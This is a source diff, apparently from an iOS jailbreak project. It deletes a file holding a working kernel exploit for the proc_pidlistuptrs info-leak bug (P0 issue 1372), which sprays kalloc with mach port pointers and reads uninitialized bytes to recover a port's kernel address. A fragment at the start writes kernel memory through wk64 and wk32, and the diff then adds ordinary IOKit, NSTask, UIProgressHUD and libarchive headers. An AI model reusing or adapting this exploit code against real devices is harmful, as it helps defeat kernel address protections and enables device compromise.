// leak the message buffer:
|
||||
wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
|
||||
wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
|
||||
|
||||
|
||||
return message_buffer;
|
||||
}
|
||||
@@ -1,253 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "find_port.h"
|
||||
#include "kmem.h"
|
||||
#include "offsets.h"
|
||||
#include "kutils.h"
|
||||
|
||||
/*
|
||||
* this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372)
|
||||
*
|
||||
* It will reliably determine the kernel address of a mach port.
|
||||
* Knowing the addresses of ports makes the other UaF exploit much simpler.
|
||||
*/
|
||||
|
||||
// missing headers
|
||||
#define KEVENT_FLAG_WORKLOOP 0x400
|
||||
|
||||
typedef uint64_t kqueue_id_t;
|
||||
|
||||
struct kevent_qos_s {
|
||||
uint64_t ident; /* identifier for this event */
|
||||
int16_t filter; /* filter for event */
|
||||
uint16_t flags; /* general flags */
|
||||
uint32_t qos; /* quality of service when servicing event */
|
||||
uint64_t udata; /* opaque user data identifier */
|
||||
uint32_t fflags; /* filter-specific flags */
|
||||
uint32_t xflags; /* extra filter-specific flags */
|
||||
int64_t data; /* filter-specific data */
|
||||
uint64_t ext[4]; /* filter-specific extensions */
|
||||
};
|
||||
|
||||
#define PRIVATE
|
||||
#include <sys/types.h>
|
||||
#include <sys/event.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/event.h>
|
||||
|
||||
struct kevent_extinfo {
|
||||
struct kevent_qos_s kqext_kev;
|
||||
uint64_t kqext_sdata;
|
||||
int kqext_status;
|
||||
int kqext_sfflags;
|
||||
uint64_t kqext_reserved[2];
|
||||
};
|
||||
|
||||
extern int kevent_id(uint64_t id, const struct kevent_qos_s *changelist, int nchanges, struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available, unsigned int flags);
|
||||
|
||||
int proc_list_uptrs(pid_t pid, uint64_t *buffer, uint32_t buffersize);
|
||||
|
||||
// appends n_events user events onto this process's kevent queue
|
||||
static void fill_events(int n_events) {
|
||||
struct kevent_qos_s events_id[] = {{
|
||||
.filter = EVFILT_USER,
|
||||
.ident = 1,
|
||||
.flags = EV_ADD,
|
||||
.udata = 0x2345
|
||||
}};
|
||||
|
||||
kqueue_id_t id = 0x1234;
|
||||
|
||||
for (int i = 0; i < n_events; i++) {
|
||||
int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
|
||||
KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
|
||||
|
||||
if (err != 0) {
|
||||
printf(" [-] failed to enqueue user event\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
events_id[0].ident++;
|
||||
}
|
||||
}
|
||||
|
||||
int kqueues_allocated = 0;
|
||||
|
||||
static void prepare_kqueue() {
|
||||
// ensure there are a large number of events so that kevent_proc_copy_uptrs
|
||||
// always returns a large number
|
||||
if (kqueues_allocated) {
|
||||
return;
|
||||
}
|
||||
fill_events(10000);
|
||||
printf(" [+] prepared kqueue\n");
|
||||
kqueues_allocated = 1;
|
||||
}
|
||||
|
||||
// will make a kalloc allocation of (count*8)+7
|
||||
// and only write to the first (count*8) bytes.
|
||||
// the return value is those last 7 bytes uninitialized bytes as a uint64_t
|
||||
// (the upper byte will be set to 0)
|
||||
static uint64_t try_leak(int count) {
|
||||
int buf_size = (count*8)+7;
|
||||
char* buf = calloc(buf_size+1, 1);
|
||||
|
||||
int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
|
||||
|
||||
if (err == -1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// the last 7 bytes will contain the leaked data:
|
||||
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
|
||||
|
||||
return last_val;
|
||||
}
|
||||
|
||||
struct ool_msg {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t ool_ports;
|
||||
};
|
||||
|
||||
// fills a kalloc allocation with count times of target_port's struct ipc_port pointer
|
||||
// To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right
|
||||
static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
|
||||
// allocate a port to send the message to
|
||||
mach_port_t q = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf(" [-] failed to allocate port\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
|
||||
for (int i = 0; i < count; i++) {
|
||||
ports[i] = target_port;
|
||||
}
|
||||
|
||||
struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
|
||||
msg->hdr.msgh_remote_port = q;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414141;
|
||||
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
|
||||
msg->ool_ports.address = ports;
|
||||
msg->ool_ports.count = count;
|
||||
msg->ool_ports.deallocate = 0;
|
||||
msg->ool_ports.disposition = disposition;
|
||||
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
(mach_msg_size_t)sizeof(struct ool_msg),
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf(" [-] failed to send message: %s\n", mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
static int uint64_t_compare(const void* a, const void* b) {
|
||||
uint64_t a_val = (*(uint64_t*)a);
|
||||
uint64_t b_val = (*(uint64_t*)b);
|
||||
if (a_val < b_val) {
|
||||
return -1;
|
||||
}
|
||||
if (a_val == b_val) {
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition) {
|
||||
prepare_kqueue();
|
||||
|
||||
int n_guesses = 100;
|
||||
uint64_t* guesses = calloc(1, n_guesses*sizeof(uint64_t));
|
||||
int valid_guesses = 0;
|
||||
|
||||
for (int i = 1; i < n_guesses+1; i++) {
|
||||
mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
|
||||
mach_port_destroy(mach_task_self(), q);
|
||||
uint64_t leaked = try_leak(i-1);
|
||||
//printf("leaked %016llx\n", leaked);
|
||||
|
||||
// a valid guess is one which looks a bit like a kernel heap pointer
|
||||
// without the upper byte:
|
||||
if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
|
||||
guesses[valid_guesses++] = leaked | 0xff00000000000000;
|
||||
}
|
||||
}
|
||||
|
||||
if (valid_guesses == 0) {
|
||||
printf(" [-] couldn't leak any kernel pointers\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// return the most frequent guess
|
||||
qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
|
||||
|
||||
uint64_t best_guess = guesses[0];
|
||||
int best_guess_count = 1;
|
||||
|
||||
uint64_t current_guess = guesses[0];
|
||||
int current_guess_count = 1;
|
||||
for (int i = 1; i < valid_guesses; i++) {
|
||||
if (guesses[i] == guesses[i-1]) {
|
||||
current_guess_count++;
|
||||
if (current_guess_count > best_guess_count) {
|
||||
best_guess = current_guess;
|
||||
best_guess_count = current_guess_count;
|
||||
}
|
||||
} else {
|
||||
current_guess = guesses[i];
|
||||
current_guess_count = 1;
|
||||
}
|
||||
}
|
||||
|
||||
//printf("best guess is: 0x%016llx with %d%% of the valid guesses for it\n", best_guess, (best_guess_count*100)/valid_guesses);
|
||||
|
||||
free(guesses);
|
||||
|
||||
return best_guess;
|
||||
}
|
||||
|
||||
uint64_t find_port_via_kmem_read(mach_port_name_t port) {
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
|
||||
uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
|
||||
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = port >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
|
||||
uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
|
||||
return port_addr;
|
||||
}
|
||||
|
||||
uint64_t find_port_address(mach_port_t port, int disposition) {
|
||||
if (have_kmem_read()) {
|
||||
return find_port_via_kmem_read(port);
|
||||
}
|
||||
return find_port_via_proc_pidlistuptrs_bug(port, disposition);
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
/*
|
||||
* IOKitLib.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__IOKITLIB_H_
|
||||
#define VOUCHER_SWAP__IOKITLIB_H_
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
typedef mach_port_t io_object_t;
|
||||
typedef io_object_t io_connect_t;
|
||||
typedef io_object_t io_iterator_t;
|
||||
typedef io_object_t io_service_t;
|
||||
|
||||
extern const mach_port_t kIOMasterPortDefault;
|
||||
|
||||
kern_return_t
|
||||
IOObjectRelease(
|
||||
io_object_t object );
|
||||
|
||||
io_object_t
|
||||
IOIteratorNext(
|
||||
io_iterator_t iterator );
|
||||
|
||||
io_service_t
|
||||
IOServiceGetMatchingService(
|
||||
mach_port_t masterPort,
|
||||
CFDictionaryRef matching CF_RELEASES_ARGUMENT);
|
||||
|
||||
kern_return_t
|
||||
IOServiceGetMatchingServices(
|
||||
mach_port_t masterPort,
|
||||
CFDictionaryRef matching CF_RELEASES_ARGUMENT,
|
||||
io_iterator_t * existing );
|
||||
|
||||
kern_return_t
|
||||
IOServiceOpen(
|
||||
io_service_t service,
|
||||
task_port_t owningTask,
|
||||
uint32_t type,
|
||||
io_connect_t * connect );
|
||||
|
||||
kern_return_t
|
||||
IOServiceClose(
|
||||
io_connect_t connect );
|
||||
|
||||
kern_return_t
|
||||
IOConnectCallMethod(
|
||||
mach_port_t connection, // In
|
||||
uint32_t selector, // In
|
||||
const uint64_t *input, // In
|
||||
uint32_t inputCnt, // In
|
||||
const void *inputStruct, // In
|
||||
size_t inputStructCnt, // In
|
||||
uint64_t *output, // Out
|
||||
uint32_t *outputCnt, // In/Out
|
||||
void *outputStruct, // Out
|
||||
size_t *outputStructCnt) // In/Out
|
||||
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
|
||||
|
||||
kern_return_t
|
||||
IOConnectTrap6(io_connect_t connect,
|
||||
uint32_t index,
|
||||
uintptr_t p1,
|
||||
uintptr_t p2,
|
||||
uintptr_t p3,
|
||||
uintptr_t p4,
|
||||
uintptr_t p5,
|
||||
uintptr_t p6);
|
||||
|
||||
CFMutableDictionaryRef
|
||||
IOServiceMatching(
|
||||
const char * name ) CF_RETURNS_RETAINED;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,87 @@
|
||||
/* NSTask.h
|
||||
Copyright (c) 1996-2017, Apple Inc. All rights reserved.
|
||||
*/
|
||||
|
||||
#import <Foundation/NSObject.h>
|
||||
#import <Foundation/NSNotification.h>
|
||||
|
||||
@class NSArray<ObjectType>, NSDictionary<KeyType, ObjectType>, NSString;
|
||||
|
||||
NS_ASSUME_NONNULL_BEGIN
|
||||
|
||||
typedef NS_ENUM(NSInteger, NSTaskTerminationReason) {
|
||||
NSTaskTerminationReasonExit = 1,
|
||||
NSTaskTerminationReasonUncaughtSignal = 2
|
||||
} NS_ENUM_AVAILABLE(10_6, NA);
|
||||
|
||||
@interface NSTask : NSObject
|
||||
|
||||
// Create an NSTask which can be run at a later time
|
||||
// An NSTask can only be run once. Subsequent attempts to
|
||||
// run an NSTask will raise.
|
||||
// Upon task death a notification will be sent
|
||||
// { Name = NSTaskDidTerminateNotification; object = task; }
|
||||
//
|
||||
|
||||
- (instancetype)init NS_DESIGNATED_INITIALIZER;
|
||||
|
||||
// these methods can only be set before a launch
|
||||
@property (nullable, copy) NSURL *executableURL API_AVAILABLE(macos(10.13)) API_UNAVAILABLE(ios, watchos, tvos);
|
||||
@property (nullable, copy) NSArray<NSString *> *arguments;
|
||||
@property (nullable, copy) NSDictionary<NSString *, NSString *> *environment; // if not set, use current
|
||||
@property (nullable, copy) NSURL *currentDirectoryURL API_AVAILABLE(macos(10.13)) API_UNAVAILABLE(ios, watchos, tvos);
|
||||
|
||||
// standard I/O channels; could be either an NSFileHandle or an NSPipe
|
||||
@property (nullable, retain) id standardInput;
|
||||
@property (nullable, retain) id standardOutput;
|
||||
@property (nullable, retain) id standardError;
|
||||
|
||||
// actions
|
||||
- (BOOL)launchAndReturnError:(out NSError **_Nullable)error API_AVAILABLE(macos(10.13)) API_UNAVAILABLE(ios, watchos, tvos);
|
||||
|
||||
- (void)interrupt; // Not always possible. Sends SIGINT.
|
||||
- (void)terminate; // Not always possible. Sends SIGTERM.
|
||||
|
||||
- (BOOL)suspend;
|
||||
- (BOOL)resume;
|
||||
|
||||
// status
|
||||
@property (readonly) int processIdentifier;
|
||||
@property (readonly, getter=isRunning) BOOL running;
|
||||
|
||||
@property (readonly) int terminationStatus;
|
||||
@property (readonly) NSTaskTerminationReason terminationReason API_AVAILABLE(macos(10.6)) API_UNAVAILABLE(ios, watchos, tvos);
|
||||
|
||||
/*
|
||||
A block to be invoked when the process underlying the NSTask terminates. Setting the block to nil is valid, and stops the previous block from being invoked, as long as it hasn't started in any way. The NSTask is passed as the argument to the block so the block does not have to capture, and thus retain, it. The block is copied when set. Only one termination handler block can be set at any time. The execution context in which the block is invoked is undefined. If the NSTask has already finished, the block is executed immediately/soon (not necessarily on the current thread). If a terminationHandler is set on an NSTask, the NSTaskDidTerminateNotification notification is not posted for that task. Also note that -waitUntilExit won't wait until the terminationHandler has been fully executed. You cannot use this property in a concrete subclass of NSTask which hasn't been updated to include an implementation of the storage and use of it.
|
||||
*/
|
||||
@property (nullable, copy) void (^terminationHandler)(NSTask *) API_AVAILABLE(macos(10.7)) API_UNAVAILABLE(ios, watchos, tvos);
|
||||
|
||||
@property NSQualityOfService qualityOfService API_AVAILABLE(macos(10.10), ios(8.0), watchos(2.0), tvos(9.0)); // read-only after the task is launched
|
||||
|
||||
@end
|
||||
|
||||
@interface NSTask (NSTaskConveniences)
|
||||
|
||||
+ (nullable NSTask *)launchedTaskWithExecutableURL:(NSURL *)url arguments:(NSArray<NSString *> *)arguments error:(out NSError ** _Nullable)error terminationHandler:(void (^_Nullable)(NSTask *))terminationHandler API_AVAILABLE(macos(10.13)) API_UNAVAILABLE(ios, watchos, tvos);
|
||||
|
||||
- (void)waitUntilExit;
|
||||
// poll the runLoop in defaultMode until task completes
|
||||
|
||||
@end
|
||||
|
||||
@interface NSTask (NSDeprecated)
|
||||
|
||||
@property (nullable, copy) NSString *launchPath;
|
||||
@property (copy) NSString *currentDirectoryPath; // if not set, use current
|
||||
|
||||
- (void)launch;
|
||||
|
||||
+ (NSTask *)launchedTaskWithLaunchPath:(NSString *)path arguments:(NSArray<NSString *> *)arguments;
|
||||
// convenience; create and launch
|
||||
|
||||
@end
|
||||
|
||||
FOUNDATION_EXPORT NSNotificationName const NSTaskDidTerminateNotification;
|
||||
|
||||
NS_ASSUME_NONNULL_END
|
||||
@@ -0,0 +1,33 @@
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
@class UIProgressIndicator, UILabel, UIImageView, UIWindow;
|
||||
|
||||
@interface UIProgressHUD : UIView {
|
||||
|
||||
UIProgressIndicator* _progressIndicator;
|
||||
UILabel* _progressMessage;
|
||||
UIImageView* _doneView;
|
||||
UIWindow* _parentWindow;
|
||||
struct {
|
||||
unsigned isShowing : 1;
|
||||
unsigned isShowingText : 1;
|
||||
unsigned fixedFrame : 1;
|
||||
unsigned reserved : 30;
|
||||
} _progressHUDFlags;
|
||||
|
||||
}
|
||||
-(id)initWithFrame:(CGRect)arg1 ;
|
||||
-(void)layoutSubviews;
|
||||
-(void)hide;
|
||||
-(void)show:(bool)arg1 ;
|
||||
-(void)drawRect:(CGRect)arg1 ;
|
||||
-(void)dealloc;
|
||||
-(void)setText:(id)arg1 ;
|
||||
-(id)initWithWindow:(id)arg1 ;
|
||||
-(void)done;
|
||||
-(void)setFontSize:(int)arg1 ;
|
||||
-(id)_progressIndicator;
|
||||
-(void)setShowsText:(bool)arg1 ;
|
||||
-(void)showInView:(id)arg1 ;
|
||||
@end
|
||||
|
||||
@@ -0,0 +1,741 @@
|
||||
/*-
|
||||
* Copyright (c) 2003-2007 Tim Kientzle
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: src/lib/libarchive/archive.h.in,v 1.50 2008/05/26 17:00:22 kientzle Exp $
|
||||
*/
|
||||
|
||||
#ifndef ARCHIVE_H_INCLUDED
|
||||
#define ARCHIVE_H_INCLUDED
|
||||
|
||||
/*
|
||||
* Note: archive.h is for use outside of libarchive; the configuration
|
||||
* headers (config.h, archive_platform.h, etc.) are purely internal.
|
||||
* Do NOT use HAVE_XXX configuration macros to control the behavior of
|
||||
* this header! If you must conditionalize, use predefined compiler and/or
|
||||
* platform macros.
|
||||
*/
|
||||
#if defined(__BORLANDC__) && __BORLANDC__ >= 0x560
|
||||
# define __LA_STDINT_H <stdint.h>
|
||||
#elif !defined(__WATCOMC__) && !defined(_MSC_VER) && !defined(__INTERIX) && !defined(__BORLANDC__)
|
||||
# define __LA_STDINT_H <inttypes.h>
|
||||
#endif
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h> /* Linux requires this for off_t */
|
||||
#ifdef __LA_STDINT_H
|
||||
# include __LA_STDINT_H /* int64_t, etc. */
|
||||
#endif
|
||||
#include <stdio.h> /* For FILE * */
|
||||
|
||||
/* Get appropriate definitions of standard POSIX-style types. */
|
||||
/* These should match the types used in 'struct stat' */
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
#define __LA_INT64_T __int64
|
||||
# if defined(_SSIZE_T_DEFINED)
|
||||
# define __LA_SSIZE_T ssize_t
|
||||
# elif defined(_WIN64)
|
||||
# define __LA_SSIZE_T __int64
|
||||
# else
|
||||
# define __LA_SSIZE_T long
|
||||
# endif
|
||||
# if defined(__BORLANDC__)
|
||||
# define __LA_UID_T uid_t
|
||||
# define __LA_GID_T gid_t
|
||||
# else
|
||||
# define __LA_UID_T short
|
||||
# define __LA_GID_T short
|
||||
# endif
|
||||
#else
|
||||
#include <unistd.h> /* ssize_t, uid_t, and gid_t */
|
||||
#define __LA_INT64_T int64_t
|
||||
#define __LA_SSIZE_T ssize_t
|
||||
#define __LA_UID_T uid_t
|
||||
#define __LA_GID_T gid_t
|
||||
#endif
|
||||
|
||||
/*
|
||||
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
|
||||
* .lib. The default here assumes you're building a DLL. Only
|
||||
* libarchive source should ever define __LIBARCHIVE_BUILD.
|
||||
*/
|
||||
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
|
||||
# ifdef __LIBARCHIVE_BUILD
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllexport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllexport)
|
||||
# endif
|
||||
# else
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllimport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllimport)
|
||||
# endif
|
||||
# endif
|
||||
#else
|
||||
/* Static libraries or non-Windows needs no special declaration. */
|
||||
# define __LA_DECL
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
* The version number is provided as both a macro and a function.
|
||||
* The macro identifies the installed header; the function identifies
|
||||
* the library version (which may not be the same if you're using a
|
||||
* dynamically-linked version of the library). Of course, if the
|
||||
* header and library are very different, you should expect some
|
||||
* strangeness. Don't do that.
|
||||
*/
|
||||
|
||||
/*
|
||||
* The version number is expressed as a single integer that makes it
|
||||
* easy to compare versions at build time: for version a.b.c, the
|
||||
* version number is printf("%d%03d%03d",a,b,c). For example, if you
|
||||
* know your application requires version 2.12.108 or later, you can
|
||||
* assert that ARCHIVE_VERSION >= 2012108.
|
||||
*
|
||||
* This single-number format was introduced with libarchive 1.9.0 in
|
||||
* the libarchive 1.x family and libarchive 2.2.4 in the libarchive
|
||||
* 2.x family. The following may be useful if you really want to do
|
||||
* feature detection for earlier libarchive versions (which defined
|
||||
* ARCHIVE_API_VERSION and ARCHIVE_API_FEATURE instead):
|
||||
*
|
||||
* #ifndef ARCHIVE_VERSION_NUMBER
|
||||
* #define ARCHIVE_VERSION_NUMBER \
|
||||
* (ARCHIVE_API_VERSION * 1000000 + ARCHIVE_API_FEATURE * 1000)
|
||||
* #endif
|
||||
*/
|
||||
#define ARCHIVE_VERSION_NUMBER 2008003
|
||||
__LA_DECL int archive_version_number(void);
|
||||
|
||||
/*
|
||||
* Textual name/version of the library, useful for version displays.
|
||||
*/
|
||||
#define ARCHIVE_VERSION_STRING "libarchive 2.8.3"
|
||||
__LA_DECL const char * archive_version_string(void);
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/*
|
||||
* Deprecated; these are older names that will be removed in favor of
|
||||
* the simpler definitions above.
|
||||
*/
|
||||
#define ARCHIVE_VERSION_STAMP ARCHIVE_VERSION_NUMBER
|
||||
__LA_DECL int archive_version_stamp(void);
|
||||
#define ARCHIVE_LIBRARY_VERSION ARCHIVE_VERSION_STRING
|
||||
__LA_DECL const char * archive_version(void);
|
||||
#define ARCHIVE_API_VERSION (ARCHIVE_VERSION_NUMBER / 1000000)
|
||||
__LA_DECL int archive_api_version(void);
|
||||
#define ARCHIVE_API_FEATURE ((ARCHIVE_VERSION_NUMBER / 1000) % 1000)
|
||||
__LA_DECL int archive_api_feature(void);
|
||||
#endif
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* This should never have been here in the first place. */
|
||||
/* Legacy of old tar assumptions, will be removed in libarchive 3.0. */
|
||||
#define ARCHIVE_BYTES_PER_RECORD 512
|
||||
#define ARCHIVE_DEFAULT_BYTES_PER_BLOCK 10240
|
||||
#endif
|
||||
|
||||
/* Declare our basic types. */
|
||||
struct archive;
|
||||
struct archive_entry;
|
||||
|
||||
/*
|
||||
* Error codes: Use archive_errno() and archive_error_string()
|
||||
* to retrieve details. Unless specified otherwise, all functions
|
||||
* that return 'int' use these codes.
|
||||
*/
|
||||
#define ARCHIVE_EOF 1 /* Found end of archive. */
|
||||
#define ARCHIVE_OK 0 /* Operation was successful. */
|
||||
#define ARCHIVE_RETRY (-10) /* Retry might succeed. */
|
||||
#define ARCHIVE_WARN (-20) /* Partial success. */
|
||||
/* For example, if write_header "fails", then you can't push data. */
|
||||
#define ARCHIVE_FAILED (-25) /* Current operation cannot complete. */
|
||||
/* But if write_header is "fatal," then this archive is dead and useless. */
|
||||
#define ARCHIVE_FATAL (-30) /* No more operations are possible. */
|
||||
|
||||
/*
|
||||
* As far as possible, archive_errno returns standard platform errno codes.
|
||||
* Of course, the details vary by platform, so the actual definitions
|
||||
* here are stored in "archive_platform.h". The symbols are listed here
|
||||
* for reference; as a rule, clients should not need to know the exact
|
||||
* platform-dependent error code.
|
||||
*/
|
||||
/* Unrecognized or invalid file format. */
|
||||
/* #define ARCHIVE_ERRNO_FILE_FORMAT */
|
||||
/* Illegal usage of the library. */
|
||||
/* #define ARCHIVE_ERRNO_PROGRAMMER_ERROR */
|
||||
/* Unknown or unclassified error. */
|
||||
/* #define ARCHIVE_ERRNO_MISC */
|
||||
|
||||
/*
|
||||
* Callbacks are invoked to automatically read/skip/write/open/close the
|
||||
* archive. You can provide your own for complex tasks (like breaking
|
||||
* archives across multiple tapes) or use standard ones built into the
|
||||
* library.
|
||||
*/
|
||||
|
||||
/* Returns pointer and size of next block of data from archive. */
|
||||
typedef __LA_SSIZE_T archive_read_callback(struct archive *,
|
||||
void *_client_data, const void **_buffer);
|
||||
|
||||
/* Skips at most request bytes from archive and returns the skipped amount */
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* Libarchive 1.0 used ssize_t for the return, which is only 32 bits
|
||||
* on most 32-bit platforms; not large enough. */
|
||||
typedef __LA_SSIZE_T archive_skip_callback(struct archive *,
|
||||
void *_client_data, size_t request);
|
||||
#elif ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* Libarchive 2.0 used off_t here, but that is a bad idea on Linux and a
|
||||
* few other platforms where off_t varies with build settings. */
|
||||
typedef off_t archive_skip_callback(struct archive *,
|
||||
void *_client_data, off_t request);
|
||||
#else
|
||||
/* Libarchive 3.0 uses int64_t here, which is actually guaranteed to be
|
||||
* 64 bits on every platform. */
|
||||
typedef __LA_INT64_T archive_skip_callback(struct archive *,
|
||||
void *_client_data, __LA_INT64_T request);
|
||||
#endif
|
||||
|
||||
/* Returns size actually written, zero on EOF, -1 on error. */
|
||||
typedef __LA_SSIZE_T archive_write_callback(struct archive *,
|
||||
void *_client_data,
|
||||
const void *_buffer, size_t _length);
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* Open callback is actually never needed; remove it in libarchive 3.0. */
|
||||
typedef int archive_open_callback(struct archive *, void *_client_data);
|
||||
#endif
|
||||
|
||||
typedef int archive_close_callback(struct archive *, void *_client_data);
|
||||
|
||||
/*
|
||||
* Codes for archive_compression.
|
||||
*/
|
||||
#define ARCHIVE_COMPRESSION_NONE 0
|
||||
#define ARCHIVE_COMPRESSION_GZIP 1
|
||||
#define ARCHIVE_COMPRESSION_BZIP2 2
|
||||
#define ARCHIVE_COMPRESSION_COMPRESS 3
|
||||
#define ARCHIVE_COMPRESSION_PROGRAM 4
|
||||
#define ARCHIVE_COMPRESSION_LZMA 5
|
||||
#define ARCHIVE_COMPRESSION_XZ 6
|
||||
#define ARCHIVE_COMPRESSION_UU 7
|
||||
#define ARCHIVE_COMPRESSION_RPM 8
|
||||
|
||||
/*
|
||||
* Codes returned by archive_format.
|
||||
*
|
||||
* Top 16 bits identifies the format family (e.g., "tar"); lower
|
||||
* 16 bits indicate the variant. This is updated by read_next_header.
|
||||
* Note that the lower 16 bits will often vary from entry to entry.
|
||||
* In some cases, this variation occurs as libarchive learns more about
|
||||
* the archive (for example, later entries might utilize extensions that
|
||||
* weren't necessary earlier in the archive; in this case, libarchive
|
||||
* will change the format code to indicate the extended format that
|
||||
* was used). In other cases, it's because different tools have
|
||||
* modified the archive and so different parts of the archive
|
||||
* actually have slightly different formts. (Both tar and cpio store
|
||||
* format codes in each entry, so it is quite possible for each
|
||||
* entry to be in a different format.)
|
||||
*/
|
||||
#define ARCHIVE_FORMAT_BASE_MASK 0xff0000
|
||||
#define ARCHIVE_FORMAT_CPIO 0x10000
|
||||
#define ARCHIVE_FORMAT_CPIO_POSIX (ARCHIVE_FORMAT_CPIO | 1)
|
||||
#define ARCHIVE_FORMAT_CPIO_BIN_LE (ARCHIVE_FORMAT_CPIO | 2)
|
||||
